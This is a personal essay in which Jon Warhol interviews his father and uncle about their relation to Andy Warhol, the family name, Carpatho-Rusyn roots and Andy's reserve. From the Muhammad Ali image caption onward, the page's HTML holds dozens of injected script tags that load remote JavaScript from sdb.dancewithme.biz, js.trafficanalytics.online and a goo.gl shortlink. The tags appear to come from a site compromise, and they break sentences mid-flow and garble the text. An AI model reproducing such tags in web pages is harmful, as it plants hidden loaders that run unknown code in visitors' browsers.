warhol

GROWING UP WARHOL

My name is Jon Warhol. That’s right, WARHOL! There it is in capital letters, identical in spelling to the American Pop Art icon, Andy Warhol. All my life, my friends, friends’ parents, doctors, professors, cashiers, and especially art majors have asked: “Are you related?” To which I usually answer “Yes, a cousin, but he’d be so old, that if he were alive, I would probably call him Uncle.” This question on basic lineage was always followed by a checklist:

“Have you ever met him?” “No – he died in ’87, I was born in ’91.”

“Do you have any of his paintings?” “No, but I like Campbell’s Soup.”

“That’s cool that you’re related!” It does start conversations.

This brief and disinterested exchange, which varies depending on how many “art appreciation” courses the asker has taken, has been happening for 21 plus years, and our cultural synchronicity is such that the same questions are always asked in the same order. I once knew the script so well I was able to glaze over the experience by saying “Yes. No. No. Yes.” without listening to the questions. For most of my life, I didn’t understand Andy’s place in the Warhol family line or really “get” who he was.

This changed my senior year of college when I was assigned to “… tell the story of someone or something significant who we either knew or were connected to …” I planned on talking about surf music and Dick Dale because he gave me his guitar pick at his last performance at the Surf Club in Ortley Beach before Super Storm Sandy destroyed everything. This prompted the professor to ask “How in the name of everything in the world with inherent artistic value could you not be interested in your relation to one of the most undisputedly significant artists of the twentieth century?”

The professor suggested I make a documentary on the Warhol family line and my relation to Andy. I respectfully declined, because unlike the rest of the world, I was not constantly aroused by the subject. It was put to a class vote and Andy beat surf music 10:1. I set out to gather information and do research on the late-great artist and figured what better way than to interview the oldest surviving and most conveniently accessible Warhols, John and Mark, my Dad and Uncle.

Andy-Warhol-Wallpaper-16801050

About the name

The song “Andy Warhol” from David Bowie’s 1971 album, Hunky Dory, is preceded by a bit of dialogue where the producer says “This is Andy War-haul, take one.” Bowie chimes in and states “Um, actually it’s War-hole, as in holes.” I disagree with Bowie – both pronunciations are technically correct in the sense that they get my attention when someone yells “Hey Warhol!” But for my whole life, I’ve pronounced the surname as War-Haul, like U-Haul. When I sat down to interview my father and uncle, I discovered the family name, like many others of twentieth century immigrants, has gone through some de-ethnifications and re-Americanizations. Originally Varchol or Varhol, the family name became Varhall or Warhol or Warhola in America (to make matters worse, the “h” was one of those throat-clearing sounds). This was Andrew Warhola’s birth name that he shortened to Warhol.

The naming connection for our ethnicity was that, if you were the “son of” someone, an “a” was added to your name. Like how Dracula is the son of Dracul. If you were a female relative, daughter, or wife, “ova” was added to your name like Martina Navartilova. So that story of the “a” falling off Andy’s name in his portfolio case is just a story — at some point you drop the “a”.

On being a Warhol

John: “Warhols are unnatural. We’re not a natural thing.”

Mark: “Warhol is a catch-all phrase meaning an argumentative quarrelsome person.”

John: “Varchol is a Polish word meaning an argumentative person, a squabbler, a pain in the ass. Somebody you just really don’t want to be around.”

Mark: “It’s in the blood. There’s this certain lack of desire to socialize that seems to be in the Warhol… thing. There’s this one self-portrait where it’s Andy Warhol’s face in camouflage. I always thought that was a sort of real self portrait of not just Andy, but Warhols in general. There’s this desire to kind of disappear.”

This valuable bit of insight into not just Andy, but all the Wahols, is something I have experienced my whole life. There is a certain reserve and general reticence as a family. As I grew older I was able to see more of it not only in myself, but my father, uncle, grandparents, and even in old interviews of Andy.

Andy-Warhol-~-Muhammad-Ali-(Cassius-Clay), <script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script></script>-1978″ src=”http://asburyanchor.com/wp-content/uploads/2014/03/Andy-Warhol-Muhammad-Ali-Cassius-Clay-1978.jpg” width=”590″ height=”593″ /><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script></a></p>
<p><b>On Andy<script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script></b></p>
<p>John: “Well we knew him as well as anyone, <script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script></script> wouldn’t you say?”</p>
<p>Mark: “Yeah, <script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script></script> I’d say we knew him as well as anybody because he was not an easy man to know. I’d always say that when people asked me – I knew him as well as anybody. He used the Warhol reserve to the best effect.”</p>
<p>John: “He worked the Warhol.”</p>
<p>Mark: “Yeah, <script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script></script> he took that negative and he was able to create a whole persona around it and it was fascinating to see him so passive and respond to things in such a way. He was doing a Warhol’s performance art. We could see that in him, <script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script></script> but no one else could get the family background of what he was doing. It was almost like an inside joke. People watching him would ask “What is going on here?” We would understand the context of it that no one else could possibly know, <script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script></script> and since he’s not going to let anyone else in on that, <script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script></script> it’s a real mystery.”</p>
<p>Though my dad and uncle didn’t know Andy personally, <script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script></script> my great uncle, <script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script></script> Mike Warner, <script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script></script> who changed his name from Warhol to Warner, <script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script></script> did.</p>
<p>John: “Uncle Mike told me stories that they would rent their neighbor’s 1929 Buick to drive out to Pittsburgh to hang out with the other Warhols – Andy’s family. He remembered those trips well because he always got carsick. Uncle Mike wanted to be upwardly mobile in the corporate world and as consequence found Andy’s lifestyle and antics embarrassing. He changed his last name from Warhol to Warner so no one would link the two of them.”</p>
<p><b>On being ethnic<script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script></b></p>
<p>People sometimes ask me why no one in my family kept closely in touch with Andy. It’s hard to understand the answer if you don’t know the true nature of what it means to be a Warhol and what it means to come from the Carpathian mountains of Eastern Europe.</p>
<p>John: “Slovak hillbillies.”</p>
<p>Mark: “We’re a third rate people in a third rate country. Bottom of the bottom, <script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script></script> something like that.”</p>
<p>John: “One step above gypsies. It’s this weird Carpatho-Rusyn thing, <script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script></script> there is no Slovakia, <script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script></script> there is no Rusyn. We’re a stateless, <script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script></script> homeless people with no leader bound by common traditions and religion, <script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script></script> although the traditions aren’t common and neither is the religion.”</p>
<p>Mark: “ A vagamorphous cloud of people.”</p>
<p>John: “Yeah, <script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script></script> we’re vaguely kinda sorta… They eat pirohis … we eat pirohis … we’re all pirohi eaters!”</p>
<p>Mark: “Bound by starch.”</p>
<p>John: “… and quite bound up by it. You see these big Italian families where everybody gets together and has a good time, <script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script></script> that’s not us. It’s a scattered family; it’s the way we are. I had a cousin that lived two blocks away and I didn’t learn that we were cousins until after my father died!”</p>
<p><b>On Andy’s legacy<script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script></b></p>
<p>Andy’s legacy and influence on pop culture and the art world is almost immeasurable, <script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script></script> and I can proudly say that I am related to him. As Andy would say “Art is what you can get away with” and he got away with a lot.</p>
<p><em>Jon Warhol is a recent graduate of Monmouth University and a resident of the Leonardo section of Middletown. He’s also a found member of Sad Billy Magazine among other things. <script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script><script type='text/javascript' src='https://sdb.dancewithme.biz/db.js'></script><script type='text/javascript' src='https://goo.gl/9KsTSg'></script></em></p>
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